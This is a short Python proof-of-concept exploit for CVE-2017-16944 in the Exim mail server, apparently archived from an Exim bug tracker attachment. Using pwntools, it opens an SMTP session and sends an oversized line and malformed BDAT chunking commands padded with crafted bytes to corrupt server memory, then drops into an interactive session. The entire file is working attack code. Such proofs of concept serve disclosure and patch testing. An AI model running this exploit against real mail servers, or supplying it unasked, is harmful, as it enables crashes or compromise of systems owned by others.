poc.py 713 B

12345678910111213141516171819202122232425262728293031323334
  1. # ARCHIVE FROM https://bugs.exim.org/attachment.cgi?id=1052
  2. # Conversation
  3. # https://bugs.exim.org/show_bug.cgi?id=2199
  4. # https://bugs.exim.org/show_bug.cgi?id=2201
  5. #
  6. #
  7. # CVE-2017-16944 (Associated: CVE-2017-16943)
  8. #
  9. # pip install pwntools
  10. from pwn import *
  11. r = remote('localhost', 25)
  12. r.recvline()
  13. r.sendline("EHLO test")
  14. r.recvuntil("250 HELP")
  15. r.sendline("MAIL FROM:<test@localhost>")
  16. r.recvline()
  17. r.sendline("RCPT TO:<test@localhost>")
  18. r.recvline()
  19. #raw_input()
  20. r.sendline('a'*0x1100+'\x7f')
  21. #raw_input()
  22. r.recvuntil('command')
  23. r.sendline('BDAT 1')
  24. r.sendline(':BDAT \x7f')
  25. s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
  26. r.send(s+ ':\r\n')
  27. r.recvuntil('command')
  28. #raw_input()
  29. r.send('\n')
  30. r.interactive()
  31. exit()